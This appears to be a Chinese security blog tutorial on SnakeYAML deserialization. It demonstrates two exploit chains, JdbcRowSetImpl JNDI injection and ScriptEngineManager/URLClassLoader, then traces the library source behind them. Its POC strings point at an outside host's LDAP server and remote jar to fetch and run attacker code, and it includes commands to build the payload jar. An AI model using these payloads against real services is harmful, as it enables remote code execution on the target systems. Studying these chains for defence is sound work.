当前位置:   article > 正文

【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

目录

关于Yaml

关于SnakeYaml

SnakeYaml反序列化利用

JdbcRowSetImpl链

ScriptEngineManager链 

复现

基本原理

继续深入


关于Yaml

学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。

这里举几个Yaml的例子回顾一下

  1. # 示例 YAML 文件
  2. # 字符串和整数
  3. name: John Doe
  4. age: 30
  5. # 列表
  6. languages:
  7. - Python
  8. - JavaScript
  9. - Java
  10. # 映射
  11. address:
  12. street: 123 Main Street
  13. city: Anytown
  14. postal_code: 12345
  15. # 嵌套结构
  16. person:
  17. name: Alice
  18. age: 25
  19. address:
  20. street: 456 Elm Street
  21. city: Somewhere
  22. postal_code: 54321

上面的例子体现了几个Yaml的特性:

使用 key: value 的格式表示键值对数据。
使用缩进表示层次结构,比如 languages 是一个列表,address 是一个映射。
支持注释,以 # 开头。
如何表示字符串、整数、列表和嵌套结构。

此外,在 YAML 中,方括号 [] 和双方括号 [[...]] 分别表示列表和嵌套列表的含义。

  1. 单方括号 [] 表示列表

    • 在 YAML 中,单方括号 [] 表示一个简单的列表,其中可以包含一组项目。
    • 例如,items: [apple, banana, orange] 表示一个包含三个字符串元素的列表。
  2. 双方括号 [[...]] 表示嵌套列表

    • 双方括号 [[...]] 表示一个嵌套的列表,即一个列表中包含另一个列表。
    • 这种结构用于表示更复杂的数据结构,其中内部列表中可以包含多个项目。
    • 在嵌套列表中,每对方括号表示一个新的列表层级。
    • 例如,nestedList: [[1, 2], [3, 4], [5, 6]] 表示一个包含三个子列表的父列表,每个子列表包含两个整数元素。

关于SnakeYaml

SnakeYAML 是 Java 中一个流行的 YAML 解析库,用于读取和生成 YAML 数据。

1.加载(Load)YAML 数据: 使用 SnakeYAML 的 load 方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。

2.转储(Dump)Java 对象为 YAML 格式: 使用 SnakeYAML 的 dump 方法可以将 Java 对象转换为对应的 YAML 格式数据。

举例:

一个User Bean

  1. package com.snake.demo;
  2. public class User {
  3. private String name;
  4. public int age;
  5. public User(String name, int age) {
  6. this.name = name;
  7. this.age = age;
  8. }
  9. public User() {
  10. System.out.println("Non Arg Constructor");
  11. }
  12. public String getName() {
  13. System.out.println("getName");
  14. return name;
  15. }
  16. public void setName(String name) {
  17. System.out.println("setName");
  18. this.name = name;
  19. }
  20. public int getAge() {
  21. System.out.println("getAge");
  22. return age;
  23. }
  24. public void setAge(int age) {
  25. System.out.println("setAge");
  26. this.age = age;
  27. }
  28. @Override
  29. public String toString() {
  30. return "I am " + name + ", " + age + " years old";
  31. }
  32. }

测试类

  1. package com.snake.demo;
  2. import org.yaml.snakeyaml.Yaml;
  3. public class Main {
  4. public static void main(String[] args) {
  5. User user = new User("Z3r4y", 18);
  6. Yaml yaml = new Yaml();
  7. System.out.println(yaml.dump(user));
  8. String s = "!!com.snake.demo.User {age: 18, name: Z3r4y}";
  9. User user2 = yaml.load(s);
  10. System.out.println(user2);
  11. }
  12. }

运行结果

  1. getName
  2. !!com.snake.demo.User {age: 18, name: Z3r4y}
  3. Non Arg Constructor
  4. setName
  5. I am Z3r4y, 18 years old

通过上述lab,我们至少可以得到以下两点结论:

①yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类 

②四种属性修饰,private,protected,public,default,若属性设置为public,则不会调用对应的setter方法,当属性为public时,是通过反射对Field进行了set,而当属性为private时,是通过反射调用setName设置的值

SnakeYaml反序列化利用

SnakeYaml反序列化和fastjson反序列化一样都会调用setter,不过对于public修饰的成员不会调用其setter。

除此之外,SnakeYaml反序列化时还能调用该类的构造函数

于是乎便分别有了以下两种的利用

JdbcRowSetImpl链

调用JdbcRowSetImpl#setAutoCommit,这样就成功触发了JdbcRowSetImpl链,从而JNDI注入

先导pom依赖

  1. <dependency>
  2. <groupId>org.yaml</groupId>
  3. <artifactId>snakeyaml</artifactId>
  4. <version>1.27</version>
  5. </dependency>

编写POC

  1. package com.snake.demo;
  2. import org.yaml.snakeyaml.Yaml;
  3. public class POC1 {
  4. public static void main(String[] args) {
  5. String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true}";
  6. Yaml yaml = new Yaml();
  7. yaml.load(poc);
  8. }
  9. }

开一个恶意LDAP服务器

找个端口放恶意字节码

成功弹计算器

和FastJson反序列化原理一样的,不多解释,可以看这篇文章:【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用

ScriptEngineManager链 

复现

javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行,底层是个SPI,关于SPI可以看看这篇文章,不多赘述:

【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

github上现成的利用ScriptEngineManager利用方式的exp:

GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

拿到手稍微小改下这个部分代码就可

运行下列命令生成个jar包

  1. javac src/artsploit/AwesomeScriptEngineFactory.java
  2. jar -cvf yaml-payload.jar -C src/ .

然后开个端口把恶意jar包放服务器上

运行这段代码,弹出计算器

  1. package com.snake.demo;
  2. import org.yaml.snakeyaml.Yaml;
  3. public class POC2 {
  4. public static void main(String[] args) {
  5. String poc = "!!javax.script.ScriptEngineManager [\n" +
  6. " !!java.net.URLClassLoader [[\n" +
  7. " !!java.net.URL [\"http://124.222.136.33:1337/yaml-payload.jar\"]\n" +
  8. " ]]\n" +
  9. "]";
  10. Yaml yaml = new Yaml();
  11. yaml.load(poc);
  12. }
  13. }

基本原理

OK复现成功了,我们跟下调用链

首先看到javax.script.ScriptEngineManager的有参构造方法调用了init,并传入了一个ClassLoader,至于从哪传的,后面会讲,暂按下不表。

  1. public ScriptEngineManager(ClassLoader loader) {
  2. init(loader);
  3. }

init方法进行一些初始化设置之后调用initEngines()

  1. private void init(final ClassLoader loader) {
  2. globalScope = new SimpleBindings();
  3. engineSpis = new HashSet<ScriptEngineFactory>();
  4. nameAssociations = new HashMap<String, ScriptEngineFactory>();
  5. extensionAssociations = new HashMap<String, ScriptEngineFactory>();
  6. mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
  7. initEngines(loader);
  8. }

initEngines方法,调用了getServiceLoader

  1. private void initEngines(final ClassLoader loader) {
  2. Iterator<ScriptEngineFactory> itr = null;
  3. try {
  4. ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(
  5. new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {
  6. @Override
  7. public ServiceLoader<ScriptEngineFactory> run() {
  8. return getServiceLoader(loader);
  9. }
  10. });
  11. itr = sl.iterator();
  12. }

跟进getServiceLoader方法

  1. private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {
  2. if (loader != null) {
  3. return ServiceLoader.load(ScriptEngineFactory.class, loader);
  4. } else {
  5. return ServiceLoader.loadInstalled(ScriptEngineFactory.class);
  6. }
  7. }

返回一个ServiceLoader<T>,根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器,这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应

ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器

initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()next()

  1. try {
  2. while (itr.hasNext()) {
  3. try {
  4. ScriptEngineFactory fact = itr.next();
  5. engineSpis.add(fact);
  6. } catch (ServiceConfigurationError err) {
  7. System.err.println("ScriptEngineManager providers.next(): "
  8. + err.getMessage());
  9. if (DEBUG) {
  10. err.printStackTrace();
  11. }
  12. // one factory failed, but check other factories...
  13. continue;
  14. }
  15. }
  16. }

不多作赘余解释,这篇文章里有写:【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客

总结来说就是:

hashNext用于获取全路径,并读取文件中的内容

next用于执行文件中对应的类,导致恶意类的动态加载,恶意静态代码块的执行,从而完成攻击

问题是,恶意类来自哪呢?是来自反序列化调用远程jar包

如何调用远程的jar包呢?只能说是由URLClassLoader和URL来具体操作的,我们不做具体讨论

原理这部分到此为止。

继续深入

我们先回到本源,来看看Yaml#load是如何操作

public <T> T load(String yaml) {
    return this.loadFromReader(new StreamReader(yaml), Object.class);
}

先是将我们的payload字符串存入StreamReader的stream中

public StreamReader(Reader reader) {
    this.pointer = 0;
    this.index = 0;
    this.line = 0;
    this.column = 0;
    this.name = "'reader'";
    this.dataWindow = new int[0];
    this.dataLength = 0;
    this.stream = reader;
    this.eof = false;
    this.buffer = new char[1025];
}

 OK,我们再回到loadFromReader(),其创建了一个Composer对象,并封装到constructor中

private Object loadFromReader(StreamReader sreader, Class<?> type) {
    Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);
    this.constructor.setComposer(composer);
    return this.constructor.getSingleData(type);
}

跟一下this.constructor.getSingleData

代码中首先通过 composer 对象的 getSingleNode 方法获取一个节点(Node)对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立,则继续执行下面的逻辑,否则会返回一个表示空值的对象。

public Object getSingleData(Class<?> type) {
    Node node = this.composer.getSingleNode();
    if (node != null && !Tag.NULL.equals(node.getTag())) {
        if (Object.class != type) {
            node.setTag(new Tag(type));
        } else if (this.rootTag != null) {
            node.setTag(this.rootTag);
        }

        return this.constructDocument(node);
    } else {
        Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
        return construct.construct(node);
    }
}

  接着调用constructDocument()

protected final Object constructDocument(Node node) {
    Object var3;
    try {
        Object data = this.constructObject(node);
        this.fillRecursive();
        var3 = data;
    }

跟constructObject

protected Object constructObject(Node node) {
    if (constructedObjects.containsKey(node)) {
        return constructedObjects.get(node);
    }
    return constructObjectNoCheck(node);
}

跟 constructObjectNoCheck

constructObjectNoCheck()recursiveObjects值为空,所以不执行if,并通过add将node追加到其中,之后由于constructedObjects值也是空,所以三目运算执行" : "后边的内容

protected Object constructObjectNoCheck(Node node) {
    if (recursiveObjects.contains(node)) {
        throw new ConstructorException(null, null, "found unconstructable recursive node",
                node.getStartMark());
    }
    recursiveObjects.add(node);
    Construct constructor = getConstructor(node);
    Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
            : constructor.construct(node);

node放入recursiveObjects,进入constructor.construct(node)

public Object construct(Node node) {
    try {
        return getConstructor(node).construct(node);
    } catch (ConstructorException e) {
        throw e;
    } catch (Exception e) {
        throw new ConstructorException(null, null, "Can't construct a java object for "
                + node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
    }
}

再跟construct

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

遍历节点,调用constructObject()又给循环回去

上面的POC有5个node,循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的有参构造器,连接上了上文的SPI机制。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/449160
推荐阅读
相关标签
  

闽ICP备14008679号